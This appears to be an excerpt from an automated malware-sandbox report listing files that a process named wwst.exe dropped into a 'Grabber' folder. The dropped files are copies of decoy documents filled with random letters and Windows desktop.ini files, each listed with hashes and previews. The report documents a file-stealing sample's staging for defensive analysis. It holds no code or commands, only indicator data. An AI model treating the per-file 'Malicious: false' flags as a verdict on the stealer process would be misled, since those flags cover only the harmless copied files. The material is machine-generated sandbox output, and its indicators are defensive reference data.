SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\GIGIYTFFYT\QCOILOQIKC.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697125102277996
Encrypted:	false
SSDEEP:	24:uVOXLU7xwK58ZsokCVVZGi4eW0ZFJVPNR+x:c7xR8mwGi4sbv+x
MD5:	207485EFCE70435971C31586A1E4CF97
SHA1:	245A410AEB767B099944A8E81F75FC9A4B270DFB
SHA-256:	BF45E8FD687DC0E63FD40F32F2279152430579EDE044C3BB0852A1AC460D4B09
SHA-512:	A7F01CBBAFE9EA12B4C820F5E1A107D4C6FBD57CFF41C4AC679485F2B7DAFA4E9148AF830A39A083EC866E988A8E279FEB39D5EB58593E75D22253BED4DEFA19
Malicious:	false
Preview:	QCOILOQIKCUYMAHQLCLSCUGPPLVTJEARXPXBWFLOFHRVUSXLZVWHDQNKEMGPPQAGBLIPFAECDZNKKHITNQJASUXZAYMZIQCEHAQMCVZBMFUDBNQEKCBNCGMUWXDJLMJKVRKYBLRGNWGBGEVIGVROENGUXKJERNJSJJEMVLDKUXDFUWUPQNWUYRIEPUFOQKPDSZXXCKNQVBEAVMDMBRZSWYPCNALGHTDFWFNDXKSHXCRLYPVFVYVEOFRHUFZZGNIXSJQCPZGONOYWWUQLBEBGALPOGZBXJUYXTHWOKWNKJYPSELALXQYIKAHXCELBTKSQFTNYWBHRPQFULPLOCWEQAXEQNXOBIQOYFSEEZWHQQLZPBQOUMVZIMRWRLSPDKEBXSTPZLAGVYIORHCDBXTBHYOFKACXVGKKSIFHPOLDOQGIDQPFPVIPGUCGUCQLFFBYAGFJYFOMBUMPAHPQLDOHYAMKEGSDPXEYBQJUOWZOPFYRTLYUYDJHPLVEXBXUGVUEYIBUTUABUIHROFHZMLJUXWGZILWRHVKGOSZXXCIWGRGUZQDKQMTXRRWHDLJPPIRDALEIAYYTEEONIAELEISEOGNTDSALVOZDMFPLJSJMKJYMWGSKCTXHTLYYFJSXNZMDELRTJBNXSGAOEPKCPEEPFZKCAATOWHUWGQAEQNZHTKQEUCFRXVJWOGAEQDIWARNNFKCHEDRWTKEOVTURBKPDMQPPDCJGTYCTIRELHGRIRLWAPLCEHANSMGDZZYCXXDOTQVOSDZJAEBOTEVLSMHXCOWDPVQPSGDIDBAWUTDPIYPVBFSUMFBUYOPRXLECFHENURLSLKGPFWXDUFYOAKNTFKOYFUZEKLRZOLPYKMCKVZOIMDCCSGPQNCQXJOTJDKUQEPVHFKRSGZYJBNUHVTOEMNLTDXGZHTDQFQZCOULTNVZRAVLOIOVIKUTWPYLRJUCUDMYVYFWSBLJTJKMSJEIJXWYNPKGTYLKDAEVBUQUIJX

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\GIGIYTFFYT\TQDFJHPUIU.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\GIGIYTFFYT\ZIPXYXWIOY.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697427014915338
Encrypted:	false
SSDEEP:	24:J87vGcgdreYqco0NFLg5eIatTFj9qVUq2Z:J83gAYq8NFRtx7Z
MD5:	2D7ACA56B5F340F28DD1D2B46D700BA6
SHA1:	3966684FF029665614B8DC948349178FB9E8C078
SHA-256:	B227E5E45D28AC063349BC70CC01A3F6DB15C101432A8609E0202064F7E5936D
SHA-512:	D4BFC2BB839DAEBAE8C894A0B8EB2314D2BE0304C82EB89BE16D6C820874952534CE0D93AE62EEF3DD2BE8A4D1E828B883E50BD204D04624AB945119D2FAB4F0
Malicious:	false
Preview:	ZIPXYXWIOYFFJDUIEBFLHIUBYNNMJGYPFQONGOLQHGMFRFYQGSVGNDSCQJYWDCIKWJWNYHFUEMJVEPAFIPAROVFAVARCOHESRJKUIUYDXNZOERBEQGHQNKYMVMEEMKKKEYXXPAKWYGCIXNFSVDOOEUTNGSDXMYEZKQTRDCZXZXIFSRMNAEPZWJKKYULUPGZCQORNOJBGAAOPLYNJCPFWSASJWTLALTQZLWOGFWQVOXGYBCMNEBDESHLNZZBETDIGNLTNPZEPEQAMYCNYWEKKQKDVZPNYLWAFZIPSSVNHOPUMIBTFXVVCNCPUSOKETVBDNZLCRKBRLGSHFSQLECHUOWGFFEMDWHASNSMAXKZZMDLZVQLADFBDUCCIJERQXKRXUCTKGDGKPESHHXUPKZSGNKOITMVITFCBELJVTCKENQCMCJEDZJDQDSKAYFGQEYICXDUOIJRYIMVXRKNBYXQEHUHYSPGEDSJBOQNXHFTSSRTPOXDVFXEPQUGWNEAKZJOKYPEYKXMOMKTKOBVISHMUGELPJCXBYNEXOAWOXHSEELVSCFMZYAMOLTGIWURMTZTRNGMWQZBRQHAIXVJIAFPZGWJZIOQLOAXJSGKMZNZCAVJWFGUFMQWQICMPVNAYRUHAMQLWLJMBERSFPEZHMNVAZFQAJEGYJQOMQWFTQVXZYTDPYVGZZPSNSOJWWKZDRPZKGTXYSENWOIQFXDIRWPJEYALOOEYQPHOPKSIZFNHPOXOKSTDVPNBSCDDKPOUVXMFBUNBMEUYGOSYMHMUNKKADTAEIUEMXYPOPMUVBHTBVKYAHHJXFUJPFZJZARAFLARBIWKXMNKXJLVBLJSZYYVIBZHROONQENYZGGMMETTMOFHCCQNUHPDEUTVVGUDBCKVXVUMRWPGZIPPUXJEJQIEQWLBUQBUODMWPSBFOYIQZWMYWPHWSKTRCKCRXWZUOTDTDRLLUSSQZXZZEATFSHBUWQUYHDLRMVVWFCPAZNSBXA

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\JDDHMPCDUJ.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687055908915499
Encrypted:	false
SSDEEP:	24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
MD5:	94EDB575C55407C555A3F710DF2A8CB3
SHA1:	3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
SHA-256:	DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
SHA-512:	F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
Malicious:	false
Preview:	JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\KLIZUSIQEN.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696703751818505
Encrypted:	false
SSDEEP:	24:b16WkAmEUwq/rBFGdG3NQGsu7DYh3NTgfAtxoLxLP/VEmcM:hkAYzzbG4NPsuYh3N0fAjaxLnl
MD5:	19255ED5D4F37A096C105CEF82D0F5C0
SHA1:	96C5E995A91C8BC479E1C2ADB32C7E022EB8FAC7
SHA-256:	A0E9C6A5B14DB7AB22994C5017930720299F4492CE99D95A07BEB46BF2BAE7E8
SHA-512:	CDCD7E54677DE3BCE65BD80C855DE9684517F931ECA4D17E984C1D02E5E5CE9B50582ECCFA43F71A4F0A4E1743D74FCF3D588424AF519BFAE628EA49082C6E68
Malicious:	false
Preview:	KLIZUSIQENZWQAFPHPIZMRSSYSYIINGOAPFQHPCFTPTNYLSNMTRTDZSWEBKDRHIUFOFGWKTHENHAQWTYTMOJNOWPWJAPIZKOPDMUAKVTHXYWDBHBVWDTBCFVXJHDCUGTPASHSDSKUVYPRPPUXKURDNZYJENQKRHCARIUAOIAFRFWGQDXOAPXUJAUWRVEASXCVARWJMIPINSQDPGOWLRMNRCAEZGZIYDWBEWCOJWHLMOUROGZKCFGXDKPHAJADQCYUZYSYXQOIEGZIJWZLUJEKZUASKHQOGVFGVEXIQTENJDEKERNBPZGKNXWYZVXDDAYNSFBZAKWCEEYDSJONDKOYOBSAVICMHPZZRHRLNYDOIDQNYLXFDCCUOIJANPQCOIJDXFLDMIBVHBYSNYGAVWTHYCIPBRPTWSQXWXZZJBFNAUOMALKDRYIMJCRJXXQXCEREPQGNQHHOFEMEOXMSZEWOLTOLCOUCQNPRIPXUSVZNATFZKIJQZKGKTCYOMBXFTSXBXYIHMOONWWGRKPSNEMONASEFSVWNWIBXDSMEKQJIDCFPVMGAAUPBVOYAIKYQEFVSXOFTEMHNXVNMMENORLDYPZUSILNZRPHITCWDQMLEFZOEGPJDXQLBSIYRONLBYOSJVTEMBHNVXCMMRDVOAYSMNNRKRLBSQBIWIWHYUMBKTIYQTROZKTGZZMEFWINSQAXMWWLRRSPXAQZURXOTMUHPNLOUWMXRQSGXIAQILQCZUUTRJZVRNLBSHADNHZSDOQIYIZCEZHFRITTHSZOSBZGNCQVHXSFZJCEVSJCZZYTCFXLNBKMTPXYHPDXMMMXHUAAQWYYFHMKXWZBXZBWKFQHLPMVMGYFZBMVSYGKGTOLLJCBFKHHWFIVPPXPTVEJEBZBXHKNYKDYLIAKLLPJZFPVJAROJUOZZUWNZRRDZNYLGBHMNWUKJLSAXBUBWJZYCMVLYBCQJLBOROBDSZGHMCIASVUCVNDTGDALKYLTOMJK

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\My Music\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.5258560106596737
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qml3lDmo0qmZclLwr2FlDmo0IWUol94klrgl2FlDmo0qjKAZY:QCGwv4o0x34o02lLwiF4o0ZvbUsF4o0Z
MD5:	06E8F7E6DDD666DBD323F7D9210F91AE
SHA1:	883AE527EE83ED9346CD82C33DFC0EB97298DC14
SHA-256:	8301E344371B0753D547B429C5FE513908B1C9813144F08549563AC7F4D7DA68
SHA-512:	F7646F8DCD37019623D5540AD8E41CB285BCC04666391258DBF4C42873C4DE46977A4939B091404D8D86F367CC31E36338757A776A632C7B5BF1C6F28E59AD98
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.0.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.9.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.0.8.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.7.....

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\My Pictures\Camera Roll\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl6nM:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOy
MD5:	D48FCE44E0F298E5DB52FD5894502727
SHA1:	FCE1E65756138A3CA4EAAF8F7642867205B44897
SHA-256:	231A08CABA1F9BA9F14BD3E46834288F3C351079FCEDDA15E391B724AC0C7EA8
SHA-512:	A1C0378DB4E6DAC9A8638586F6797BAD877769D76334B976779CD90324029D755FB466260EF27BD1E7F9FDF97696CD8CD1318377970A1B5BF340EFB12A4FEB4A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.2.1.8.2.4.....

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\My Pictures\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.514398793376306
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmalDmo0qmN4clLwr2FlDmo0IWFSklrgl2FlDmo0qjKA1:QCGwv4o0u4o0RhlLwiF4o0HUsF4o01A1
MD5:	29EAE335B77F438E05594D86A6CA22FF
SHA1:	D62CCC830C249DE6B6532381B4C16A5F17F95D89
SHA-256:	88856962CEF670C087EDA4E07D8F78465BEEABB6143B96BD90F884A80AF925B4
SHA-512:	5D2D05403B39675B9A751C8EED4F86BE58CB12431AFEC56946581CB116B9AE1014AB9334082740BE5B4DE4A25E190FE76DE071EF1B9074186781477919EB3C17
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.9.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.3.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.6.....

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\My Videos\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.5218877566914193
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmclDmo0qmJclLwr2FlDmo0IWVvklrgl2FlDmo0qjKArn:QCGwv4o0o4o0mlLwiF4o090UsF4o01Ar
MD5:	50A956778107A4272AAE83C86ECE77CB
SHA1:	10BCE7EA45077C0BAAB055E0602EEF787DBA735E
SHA-256:	B287B639F6EDD612F414CAF000C12BA0555ADB3A2643230CBDD5AF4053284978
SHA-512:	D1DF6BDC871CACBC776AC8152A76E331D2F1D905A50D9D358C7BF9ED7C5CBB510C9D52D6958B071E5BCBA7C5117FC8F9729FE51724E82CC45F6B7B5AFE5ED51A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.1.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.9.0.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.9.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.8.....

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\QCOILOQIKC.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697125102277996
Encrypted:	false
SSDEEP:	24:uVOXLU7xwK58ZsokCVVZGi4eW0ZFJVPNR+x:c7xR8mwGi4sbv+x
MD5:	207485EFCE70435971C31586A1E4CF97
SHA1:	245A410AEB767B099944A8E81F75FC9A4B270DFB
SHA-256:	BF45E8FD687DC0E63FD40F32F2279152430579EDE044C3BB0852A1AC460D4B09
SHA-512:	A7F01CBBAFE9EA12B4C820F5E1A107D4C6FBD57CFF41C4AC679485F2B7DAFA4E9148AF830A39A083EC866E988A8E279FEB39D5EB58593E75D22253BED4DEFA19
Malicious:	false
Preview:	QCOILOQIKCUYMAHQLCLSCUGPPLVTJEARXPXBWFLOFHRVUSXLZVWHDQNKEMGPPQAGBLIPFAECDZNKKHITNQJASUXZAYMZIQCEHAQMCVZBMFUDBNQEKCBNCGMUWXDJLMJKVRKYBLRGNWGBGEVIGVROENGUXKJERNJSJJEMVLDKUXDFUWUPQNWUYRIEPUFOQKPDSZXXCKNQVBEAVMDMBRZSWYPCNALGHTDFWFNDXKSHXCRLYPVFVYVEOFRHUFZZGNIXSJQCPZGONOYWWUQLBEBGALPOGZBXJUYXTHWOKWNKJYPSELALXQYIKAHXCELBTKSQFTNYWBHRPQFULPLOCWEQAXEQNXOBIQOYFSEEZWHQQLZPBQOUMVZIMRWRLSPDKEBXSTPZLAGVYIORHCDBXTBHYOFKACXVGKKSIFHPOLDOQGIDQPFPVIPGUCGUCQLFFBYAGFJYFOMBUMPAHPQLDOHYAMKEGSDPXEYBQJUOWZOPFYRTLYUYDJHPLVEXBXUGVUEYIBUTUABUIHROFHZMLJUXWGZILWRHVKGOSZXXCIWGRGUZQDKQMTXRRWHDLJPPIRDALEIAYYTEEONIAELEISEOGNTDSALVOZDMFPLJSJMKJYMWGSKCTXHTLYYFJSXNZMDELRTJBNXSGAOEPKCPEEPFZKCAATOWHUWGQAEQNZHTKQEUCFRXVJWOGAEQDIWARNNFKCHEDRWTKEOVTURBKPDMQPPDCJGTYCTIRELHGRIRLWAPLCEHANSMGDZZYCXXDOTQVOSDZJAEBOTEVLSMHXCOWDPVQPSGDIDBAWUTDPIYPVBFSUMFBUYOPRXLECFHENURLSLKGPFWXDUFYOAKNTFKOYFUZEKLRZOLPYKMCKVZOIMDCCSGPQNCQXJOTJDKUQEPVHFKRSGZYJBNUHVTOEMNLTDXGZHTDQFQZCOULTNVZRAVLOIOVIKUTWPYLRJUCUDMYVYFWSBLJTJKMSJEIJXWYNPKGTYLKDAEVBUQUIJX

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

